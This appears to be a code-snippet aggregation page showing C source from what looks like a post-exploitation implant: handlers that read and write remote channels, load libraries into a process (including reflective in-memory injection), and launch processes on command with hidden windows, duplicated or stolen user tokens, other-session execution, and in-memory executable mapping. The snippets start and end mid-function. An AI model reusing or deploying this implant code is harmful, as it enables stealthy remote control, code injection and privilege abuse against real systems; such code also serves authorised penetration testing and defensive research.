        res = comp->routine.open(remote, channel, comp->context, result);
    else if ((!strcmp(method, "core_channel_read")) &&
             (comp->routine.read))
    {
        ULONG length = 0, realLength = 0;
        PUCHAR buffer = NULL;

        // Get the number of bytes written
        length = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH);

        // Allocate storage for it
        if ((length) && (buffer = (PUCHAR)malloc(length)))
        {
            memset(buffer, 0, length);

            channel_read_from_buffered(channel, buffer, length, &realLength);
        }

        res = comp->routine.read(remote, channel, comp->context, result,
                                 buffer, realLength);

        if (buffer)
            free(buffer);
    }
    else if ((!strcmp(method, "core_channel_write")) &&
             (comp->routine.write))
    {
        Tlv lengthTlv;
        ULONG length = 0;

        // Get the number of bytes written to the channel
        if ((packet_get_tlv(packet, TLV_TYPE_LENGTH, &lengthTlv)
                == ERROR_SUCCESS) &&
                (lengthTlv.header.length >= sizeof(DWORD)))
            length = ntohl(*(LPDWORD)lengthTlv.buffer);

        res = comp->routine.write(remote, channel, comp->context, result,
                                  length);
    }
    else if ((!strcmp(method, "core_channel_close")) &&
             (comp->routine.close))
        res = comp->routine.close(remote, channel, comp->context, result);
    else if ((!strcmp(method, "core_channel_interact")) &&
             (comp->routine.interact))
        res = comp->routine.interact(remote, channel, comp->context, result);

    // Deallocate the completion context
    free(comp);

    return res;
}
/*
 * core_channel_write
 * ------------------
 *
 * Write data from a channel into the local output buffer for it
 */
DWORD remote_request_core_channel_write(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS, channelId, written = 0;
	Tlv channelData;
	Channel * channel = NULL;

	do
	{
		channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);

		// Try to locate the specified channel
		if (!(channel = channel_find_by_id(channelId)))
		{
			res = ERROR_NOT_FOUND;
			break;
		}

		lock_acquire( channel->lock );

		// Get the channel data buffer
		if ((res = packet_get_tlv(packet, TLV_TYPE_CHANNEL_DATA, &channelData)) != ERROR_SUCCESS)
			break;

		// Handle the write operation differently based on the class of channel
		switch (channel_get_class(channel))
		{
			// If it's buffered, write it to the local buffer cache
			case CHANNEL_CLASS_BUFFERED:
				res = channel_write_to_buffered(channel, channelData.buffer, channelData.header.length, (PULONG)&written);
				break;
			// If it's non-buffered, call the native write operation handler if
			// one is implemented
			default:
				{
					NativeChannelOps *ops = (NativeChannelOps *)&channel->ops;
					if (ops->write)
						res = ops->write(channel, packet, ops->context, 
								channelData.buffer, channelData.header.length, 
								&written);
					else
						res = ERROR_NOT_SUPPORTED;
				}
				break;
		}

	} while (0);

	if( channel )
		lock_release( channel->lock );

	// Transmit the acknowledgement
	if (response)
	{
		packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
		packet_add_tlv_uint(response, TLV_TYPE_LENGTH, written);
		packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);

		res = packet_transmit(remote, response, NULL);
	}

	return res;
}
/*
 * core_loadlib
 * ------------
 *
 * Load a library into the address space of the executing process.
 *
 * TLVs:
 *
 * req: TLV_TYPE_LIBRARY_PATH -- The path of the library to load.
 * req: TLV_TYPE_FLAGS        -- Library loading flags.
 * opt: TLV_TYPE_TARGET_PATH  -- The contents of the library if uploading.
 * opt: TLV_TYPE_DATA         -- The contents of the library if uploading.
 *
 * TODO:
 *
 *   - Implement in-memory library loading
 */
DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket)
{
	Packet *response = packet_create_response(pPacket);
	DWORD res = ERROR_SUCCESS;
	HMODULE library;
	PCHAR libraryPath;
	DWORD flags = 0;
	BOOL bLibLoadedReflectivly = FALSE;

	Command *first = extensionCommands;

	do
	{
		libraryPath = packet_get_tlv_value_string(pPacket, TLV_TYPE_LIBRARY_PATH);
		flags = packet_get_tlv_value_uint(pPacket, TLV_TYPE_FLAGS);

		// Invalid library path?
		if (!libraryPath)
		{
			res = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the lib does not exist locally, but is being uploaded...
		if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))
		{
			PCHAR targetPath;
			Tlv dataTlv;

			// Get the library's file contents
			if ((packet_get_tlv(pPacket, TLV_TYPE_DATA,
				&dataTlv) != ERROR_SUCCESS) ||
				(!(targetPath = packet_get_tlv_value_string(pPacket,
				TLV_TYPE_TARGET_PATH))))
			{
				res = ERROR_INVALID_PARAMETER;
				break;
			}

			// If the library is not to be stored on disk, 
			if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
			{
				// try to load the library via its reflective loader...
				library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length);
				if (library == NULL)
				{
					// if that fails, presumably besause the library doesn't support
					// reflective injection, we default to using libloader...
					library = libloader_load_library(targetPath,
						dataTlv.buffer, dataTlv.header.length);
				}
				else
				{
					bLibLoadedReflectivly = TRUE;
				}

				res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
			}
			else
			{
				// Otherwise, save the library buffer to disk
				res = buffer_to_file(targetPath, dataTlv.buffer,
					dataTlv.header.length);
			}

			// Override the library path
			libraryPath = targetPath;
		}

		// If a previous operation failed, break out.
		if (res != ERROR_SUCCESS)
		{
			break;
		}

		// Load the library
		if (!library && !(library = LoadLibraryA(libraryPath)))
		{
			res = GetLastError();
		}

		// If this library is supposed to be an extension library, try to
		// call its Init routine
		if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library)
		{
			res = load_extension(library, bLibLoadedReflectivly, pRemote, response, first);
		}

	} while (0);

	if (response)
	{
		packet_transmit_response(res, pRemote, response);
	}

	return res;
}
Esempio n. 24
0
/*
 * Executes a process using the supplied parameters, optionally creating a
 * channel through which output is filtered.
 *
 * req: TLV_TYPE_PROCESS_PATH      - The executable to launch
 * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass
 * req: TLV_TYPE_FLAGS             - The flags to execute with
 */
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	Tlv inMemoryData;
	BOOL doInMemory = FALSE;
#ifdef _WIN32
	PROCESS_INFORMATION pi;
	STARTUPINFO si;
	HANDLE in[2], out[2];
	PCHAR path, arguments, commandLine = NULL;
	DWORD flags = 0, createFlags = 0;
	BOOL inherit = FALSE;
	HANDLE token, pToken;
	char * cpDesktop = NULL;
	DWORD session = 0;
	LPVOID pEnvironment = NULL;
	LPFNCREATEENVIRONMENTBLOCK  lpfnCreateEnvironmentBlock  = NULL;
	LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
	HMODULE hUserEnvLib = NULL;

	dprintf( "[PROCESS] request_sys_process_execute" );

	// Initialize the startup information
	memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
	memset( &si, 0, sizeof(STARTUPINFO) );

	si.cb = sizeof(STARTUPINFO);

	// Initialize pipe handles
	in[0]  = NULL;
	in[1]  = NULL;
	out[0] = NULL;
	out[1] = NULL;

	do
	{
		// No response? We suck.
		if (!response)
			break;

		// Get the execution arguments
		arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
		path      = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
		flags     = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);

		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
		{	
			doInMemory = TRUE;
			createFlags |= CREATE_SUSPENDED;
		}

		if( flags & PROCESS_EXECUTE_FLAG_DESKTOP )
		{
			do
			{
				cpDesktop = (char *)malloc( 512 );
				if( !cpDesktop )
					break;

				memset( cpDesktop, 0, 512 );

				lock_acquire( remote->lock );

				_snprintf( cpDesktop, 512, "%s\\%s", remote->cpCurrentStationName, remote->cpCurrentDesktopName );

				lock_release( remote->lock );

				si.lpDesktop = cpDesktop;

			} while( 0 );
		}

		// If the remote endpoint provided arguments, combine them with the 
		// executable to produce a command line
		if (path && arguments)
		{
			DWORD commandLineLength = strlen(path) + strlen(arguments) + 2;

			if (!(commandLine = (PCHAR)malloc(commandLineLength)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			_snprintf(commandLine, commandLineLength, "%s %s", path, arguments);
		}
		else if (path)
			commandLine = path;
		else
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the channelized flag is set, create a pipe for stdin/stdout/stderr
		// such that input can be directed to and from the remote endpoint
		if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
		{
			SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
			ProcessChannelContext * ctx = NULL;
			PoolChannelOps chops;
			Channel *newChannel;

			// Allocate the channel context
			if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			memset(&chops, 0, sizeof(PoolChannelOps));

			// Initialize the channel operations
			chops.native.context  = ctx;
			chops.native.write    = process_channel_write;
			chops.native.close    = process_channel_close;
			chops.native.interact = process_channel_interact;
			chops.read            = process_channel_read;

			// Allocate the pool channel
			if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			// Set the channel's type to process
			channel_set_type(newChannel, "process");

			// Allocate the stdin and stdout pipes
			if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0)))
			{
				channel_destroy(newChannel, NULL);

				newChannel = NULL;

				free(ctx);

				result = GetLastError();
				break;
			}

			// Initialize the startup info to use the pipe handles
			si.dwFlags   |= STARTF_USESTDHANDLES;
			si.hStdInput  = in[0];
			si.hStdOutput = out[1];
			si.hStdError  = out[1];
			inherit       = TRUE;
			createFlags  |= CREATE_NEW_CONSOLE;

			// Set the context to have the write side of stdin and the read side
			// of stdout
			ctx->pStdin   = in[1];
			ctx->pStdout  = out[0];

			// Add the channel identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
		}

		// If the hidden flag is set, create the process hidden
		if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
		{
			si.dwFlags     |= STARTF_USESHOWWINDOW;
			si.wShowWindow  = SW_HIDE;
			createFlags    |= CREATE_NO_WINDOW;
		}

		// Should we create the process suspended?
		if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
			createFlags |= CREATE_SUSPENDED;

		if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
		{
			// If there is an impersonated token stored, use that one first, otherwise
			// try to grab the current thread token, then the process token
			if (remote->hThreadToken){
				token = remote->hThreadToken;
				dprintf("[execute] using thread impersonation token");
			}
			else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token))
				OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);

			dprintf("[execute] token is 0x%.8x", token);

			// Duplicate to make primary token (try delegation first)
			if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken))
			{
				if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken))
				{
					result = GetLastError();
					dprintf("[execute] failed to duplicate token 0x%.8x", result);
					break;
				}
			}

			hUserEnvLib = LoadLibrary("userenv.dll");
			if ( NULL != hUserEnvLib ) {
				lpfnCreateEnvironmentBlock  = (LPFNCREATEENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "CreateEnvironmentBlock" );
				lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "DestroyEnvironmentBlock" );
				if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock( &pEnvironment, pToken, FALSE)) {
					createFlags |= CREATE_UNICODE_ENVIRONMENT;
					dprintf("[execute] created a duplicated environment block");
				} else {
					pEnvironment = NULL;
				}
			}

			// Try to execute the process with duplicated token
			if( !CreateProcessAsUser( pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi ) )
			{
				LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
				HANDLE hAdvapi32   = NULL;
				wchar_t * wcmdline = NULL;
				wchar_t * wdesktop = NULL;
				int size           = 0;

				result = GetLastError();

				// sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only
				// available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO.
				if( result == ERROR_PRIVILEGE_NOT_HELD )
				{
					do
					{
						hAdvapi32 = LoadLibrary( "advapi32.dll" );
						if( !hAdvapi32 )
							break;

						pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress( hAdvapi32, "CreateProcessWithTokenW" );
						if( !pCreateProcessWithTokenW )
							break;

						// convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)...
						size = mbstowcs( NULL, commandLine, 0 );
						if( size < 0 )
							break;

						wcmdline = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) );
						mbstowcs( wcmdline, commandLine, size );
						
						if( si.lpDesktop )
						{
							size = mbstowcs( NULL, (char *)si.lpDesktop, 0 );
							if( size > 0 )
							{
								wdesktop = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) );
								mbstowcs( wdesktop, (char *)si.lpDesktop, size );
								si.lpDesktop = (LPSTR)wdesktop;
							}
						}

						if( !pCreateProcessWithTokenW( pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi ) )
						{
							result = GetLastError();
							dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result);
							break;
						}

						result = ERROR_SUCCESS;

					} while( 0 );

					if( hAdvapi32 )
						FreeLibrary( hAdvapi32 );

					if( wdesktop )
						free( wdesktop );
					
					if( wcmdline )
						free( wcmdline );
				}
				else
				{
					dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result);
					break;
				}
			}

			if( lpfnDestroyEnvironmentBlock && pEnvironment )
				lpfnDestroyEnvironmentBlock( pEnvironment );

			if( NULL != hUserEnvLib )
				FreeLibrary( hUserEnvLib );
		}
		else if( flags & PROCESS_EXECUTE_FLAG_SESSION )
		{
			typedef BOOL (WINAPI * WTSQUERYUSERTOKEN)( ULONG SessionId, PHANDLE phToken );
			WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
			HANDLE hToken     = NULL;
			HMODULE hWtsapi32 = NULL;
			BOOL bSuccess     = FALSE;
			DWORD dwResult    = ERROR_SUCCESS;

			do
			{
				// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
				hWtsapi32 = LoadLibraryA( "wtsapi32.dll" );

				session = packet_get_tlv_value_uint( packet, TLV_TYPE_PROCESS_SESSION );

				if( session_id( GetCurrentProcessId() ) == session || !hWtsapi32 )
				{
					if( !CreateProcess( NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) )
						BREAK_ON_ERROR( "[PROCESS] execute in self session: CreateProcess failed" );
				}
				else
				{
					pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress( hWtsapi32, "WTSQueryUserToken" );
					if( !pWTSQueryUserToken )
						BREAK_ON_ERROR( "[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed" );

					if( !pWTSQueryUserToken( session, &hToken ) )
						BREAK_ON_ERROR( "[PROCESS] execute in session: WTSQueryUserToken failed" );
						
					if( !CreateProcessAsUser( hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) )
						BREAK_ON_ERROR( "[PROCESS] execute in session: CreateProcessAsUser failed" );
				}

			} while( 0 );
			
			if( hWtsapi32 )
				FreeLibrary( hWtsapi32 );

			if( hToken )
				CloseHandle( hToken );

			result = dwResult;

			if( result != ERROR_SUCCESS )
				break;
		}
		else
		{
			// Try to execute the process
			if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
			{
				result = GetLastError();
				break;
			}
		}

		//
		// Do up the in memory exe execution if the user requested it
		//
		if (doInMemory) {

			//
			// Unmap the dummy executable and map in the new executable into the
			// target process
			//
			if (!MapNewExecutableRegionInProcess( pi.hProcess, pi.hThread, inMemoryData.buffer))
			{
				result = GetLastError();
				break;
			}

			//
			// Resume the thread and let it rock...
			//
			if (ResumeThread(pi.hThread) == (DWORD)-1)
			{
				result = GetLastError();
				break;
			}

		}

		// check for failure here otherwise we can get a case where we 
		// failed but return a process id and this will throw off the ruby side.
		if( result == ERROR_SUCCESS )
		{
			// Add the process identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);

			packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,(DWORD)pi.hProcess);

			CloseHandle(pi.hThread);
		}

	} while (0);

	// Close the read side of stdin and the write side of stdout
	if (in[0])
		CloseHandle(in[0]);
	if (out[1])
		CloseHandle(out[1]);

	// Free the command line if necessary
	if (path && arguments && commandLine)
		free(commandLine);

	if( cpDesktop )
		free( cpDesktop );
#else
	PCHAR path, arguments;;
	DWORD flags;
	char *argv[8], *command_line;
	int cl_len = 0;
	int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors
	int master = -1, slave = -1;
	int devnull = -1;
	int idx, i;
	pid_t pid;
	int have_pty = -1;

	int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN);

	dprintf( "[PROCESS] request_sys_process_execute" );

	do {
		// Get the execution arguments
		arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
		path      = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
		flags     = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);

		dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)");

		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
		{	
			doInMemory = TRUE;
		}

		// how to handle a single string argument line? we don't have a lexer/parser to
		// correctly handle stuff like quotes, etc. could dumbly parse on white space to 
		// build arguments for execve. revert to /bin/sh -c style execution? 
		// XXX.. don't feel like messing with it atm	

		idx = 0;
		if(arguments) {
			// Add one for the null, one for the space
			cl_len = strlen(path) + strlen(arguments) + 2;
			command_line = malloc(cl_len);
			memset(command_line, 0, cl_len);
			strcat(command_line, path);
			strcat(command_line, " ");
			strcat(command_line, arguments);

			argv[idx++] = "sh";
			argv[idx++] = "-c";
			argv[idx++] = command_line;
			path = "/bin/sh";
		} else {
			argv[idx++] = path;
		}	
		argv[idx++] = NULL;

		//for (i = 0; i < idx; i++) {
		//	dprintf("  argv[%d] = %s", i, argv[i]);
		//}

		// If the channelized flag is set, create a pipe for stdin/stdout/stderr
		// such that input can be directed to and from the remote endpoint
		if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
		{
			ProcessChannelContext * ctx = NULL;
			PoolChannelOps chops;
			Channel *newChannel;

			// Allocate the channel context
			if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			memset(&chops, 0, sizeof(PoolChannelOps));

			// Initialize the channel operations
			chops.native.context  = ctx;
			chops.native.write    = process_channel_write;
			chops.native.close    = process_channel_close;
			chops.native.interact = process_channel_interact;
			chops.read            = process_channel_read;

			// Allocate the pool channel
			if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			// Set the channel's type to process
			channel_set_type(newChannel, "process");

			have_pty = !try_open_pty(&master, &slave);

			if(have_pty)
			{
				ctx->pStdin = master;
				ctx->pStdout = master;
			} else {
				// fall back to pipes if there is no tty
				// Allocate the stdin and stdout pipes
				if(pipe(&in) || pipe(&out)) 
				{
					channel_destroy(newChannel, NULL);

					newChannel = NULL;

					free(ctx);

					result = GetLastError();
					break;
				}

				// Set the context to have the write side of stdin and the read side
				// of stdout
				ctx->pStdin   = in[1];
				ctx->pStdout  = out[0];
			}

			fcntl(ctx->pStdin, F_SETFD, fcntl(ctx->pStdin, F_GETFD) | O_NONBLOCK);
			fcntl(ctx->pStdout, F_SETFD, fcntl(ctx->pStdout, F_GETFD) | O_NONBLOCK);

			// Add the channel identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
		} else {
			// need to /dev/null it all
			if( (devnull = open("/dev/null", O_RDONLY) ) == -1) {
				// XXX This is possible, due to chroots etc. We could close
				// fd 0/1/2 and hope the program isn't buggy.
 
				result = GetLastError();
				break;
			}
		}

		/*
		 * We can create "hidden" processes via clone() instead of fork()
		 * clone(child_stack, flags = CLONE_THREAD) should do the trick. Probably worth while as well.
		 * memory / fd's etc won't be shared. linux specific syscall though.
		 */

		pid = fork();
		switch(pid) {

		case -1:
			result = errno;
			break;

		case 0:
			if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
			{
				if(have_pty) 
				{ 
					dup2(slave, 0);
					dup2(slave, 1);
					dup2(slave, 2);
				} else {
					dup2(in[0], 0);
					dup2(out[1], 1);
					dup2(out[1], 2);
				}
			} else {
				dup2(devnull, 0);
				dup2(devnull, 1);
				dup2(devnull, 2);
			}
			for(i = 3; i < 1024; i++) close(i);

			if(doInMemory) 
			{
				int found;
				Elf32_Ehdr *ehdr = (Elf32_Ehdr *)inMemoryData.buffer;
				Elf32_Phdr *phdr = (Elf32_Phdr *)(inMemoryData.buffer + ehdr->e_phoff);

				for(found = 0, i = 0; i < ehdr->e_phnum; i++, phdr++) {
					if(phdr->p_type == PT_LOAD) {
						found = 1;
						break;
					}
				}
			
				if(! found) return; // XXX, not too much we can do in this case ?

				perform_in_mem_exe(argv, environ, inMemoryData.buffer, inMemoryData.header.length, phdr->p_vaddr & ~4095, ehdr->e_entry);
			} else {
				execve(path, argv, environ);
			}

			dprintf("failed to execute program, exit(EXIT_FAILURE) time");
			dprintf("doInMemory = %d, hidden = %d", doInMemory, hidden);

			exit(EXIT_FAILURE);
		default:
			dprintf("child pid is %d\n", pid);
			packet_add_tlv_uint(response, TLV_TYPE_PID, (DWORD)pid);
			packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE, (DWORD)pid);
			if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
				if(have_pty) {
					dprintf("child channelized\n");
					close(slave);
				} else {
					close(in[0]);
					close(out[1]);
					close(out[2]);
				}
			}
			break;
		}
	} while(0);
#endif

	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
Esempio n. 25
0
/*
 * Executes a process using the supplied parameters, optionally creating a
 * channel through which output is filtered.
 *
 * req: TLV_TYPE_PROCESS_PATH      - The executable to launch
 * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass
 * req: TLV_TYPE_FLAGS             - The flags to execute with
 */
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	Tlv inMemoryData;
	BOOL doInMemory = FALSE;
	PROCESS_INFORMATION pi;
	STARTUPINFO si;
	HANDLE in[2], out[2];
	PCHAR path, arguments, commandLine = NULL;
	DWORD flags = 0, createFlags = 0;
	BOOL inherit = FALSE;
	HANDLE token, pToken;
	char * cpDesktop = NULL;
	DWORD session = 0;
	LPVOID pEnvironment = NULL;
	LPFNCREATEENVIRONMENTBLOCK  lpfnCreateEnvironmentBlock  = NULL;
	LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
	HMODULE hUserEnvLib = NULL;
	ProcessChannelContext * ctx = NULL;

	dprintf( "[PROCESS] request_sys_process_execute" );

	// Initialize the startup information
	memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
	memset( &si, 0, sizeof(STARTUPINFO) );

	si.cb = sizeof(STARTUPINFO);

	// Initialize pipe handles
	in[0]  = NULL;
	in[1]  = NULL;
	out[0] = NULL;
	out[1] = NULL;

	do
	{
		// No response? We suck.
		if (!response)
		{
			break;
		}

		// Get the execution arguments
		arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
		path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
		flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);

		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
		{
			doInMemory = TRUE;
			createFlags |= CREATE_SUSPENDED;
		}

		if (flags & PROCESS_EXECUTE_FLAG_DESKTOP)
		{
			do
			{
				cpDesktop = (char *)malloc(512);
				if (!cpDesktop)
					break;

				memset(cpDesktop, 0, 512);

				lock_acquire(remote->lock);

				_snprintf(cpDesktop, 512, "%s\\%s", remote->curr_station_name, remote->curr_desktop_name);

				lock_release(remote->lock);

				si.lpDesktop = cpDesktop;

			} while (0);
		}

		// If the remote endpoint provided arguments, combine them with the
		// executable to produce a command line
		if (path && arguments)
		{
			size_t commandLineLength = strlen(path) + strlen(arguments) + 2;

			if (!(commandLine = (PCHAR)malloc(commandLineLength)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			_snprintf(commandLine, commandLineLength, "%s %s", path, arguments);
		}
		else if (path)
		{
			commandLine = path;
		}
		else
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the channelized flag is set, create a pipe for stdin/stdout/stderr
		// such that input can be directed to and from the remote endpoint
		if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
		{
			SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
			PoolChannelOps chops;
			Channel *newChannel;

			// Allocate the channel context
			if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			memset(&chops, 0, sizeof(PoolChannelOps));

			// Initialize the channel operations
			dprintf("[PROCESS] context address 0x%p", ctx);
			chops.native.context = ctx;
			chops.native.write = process_channel_write;
			chops.native.close = process_channel_close;
			chops.native.interact = process_channel_interact;
			chops.read = process_channel_read;

			// Allocate the pool channel
			if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			// Set the channel's type to process
			channel_set_type(newChannel, "process");

			// Allocate the stdin and stdout pipes
			if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0)))
			{
				channel_destroy(newChannel, NULL);

				newChannel = NULL;

				free(ctx);

				result = GetLastError();
				break;
			}

			// Initialize the startup info to use the pipe handles
			si.dwFlags |= STARTF_USESTDHANDLES;
			si.hStdInput = in[0];
			si.hStdOutput = out[1];
			si.hStdError = out[1];
			inherit = TRUE;
			createFlags |= CREATE_NEW_CONSOLE;

			// Set the context to have the write side of stdin and the read side
			// of stdout
			ctx->pStdin = in[1];
			ctx->pStdout = out[0];

			// Add the channel identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
		}

		// If the hidden flag is set, create the process hidden
		if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
		{
			si.dwFlags |= STARTF_USESHOWWINDOW;
			si.wShowWindow = SW_HIDE;
			createFlags |= CREATE_NO_WINDOW;
		}

		// Should we create the process suspended?
		if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
			createFlags |= CREATE_SUSPENDED;

		if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
		{
			// If there is an impersonated token stored, use that one first, otherwise
			// try to grab the current thread token, then the process token
			if (remote->thread_token)
			{
				token = remote->thread_token;
				dprintf("[execute] using thread impersonation token");
			}
			else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token))
			{
				OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);
			}

			dprintf("[execute] token is 0x%.8x", token);

			// Duplicate to make primary token (try delegation first)
			if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken))
			{
				if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken))
				{
					result = GetLastError();
					dprintf("[execute] failed to duplicate token 0x%.8x", result);
					break;
				}
			}

			hUserEnvLib = LoadLibrary("userenv.dll");
			if (NULL != hUserEnvLib)
			{
				lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "CreateEnvironmentBlock");
				lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "DestroyEnvironmentBlock");
				if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock(&pEnvironment, pToken, FALSE))
				{
					createFlags |= CREATE_UNICODE_ENVIRONMENT;
					dprintf("[execute] created a duplicated environment block");
				}
				else
				{
					pEnvironment = NULL;
				}
			}

			// Try to execute the process with duplicated token
			if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi))
			{
				LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
				HANDLE hAdvapi32 = NULL;
				wchar_t * wcmdline = NULL;
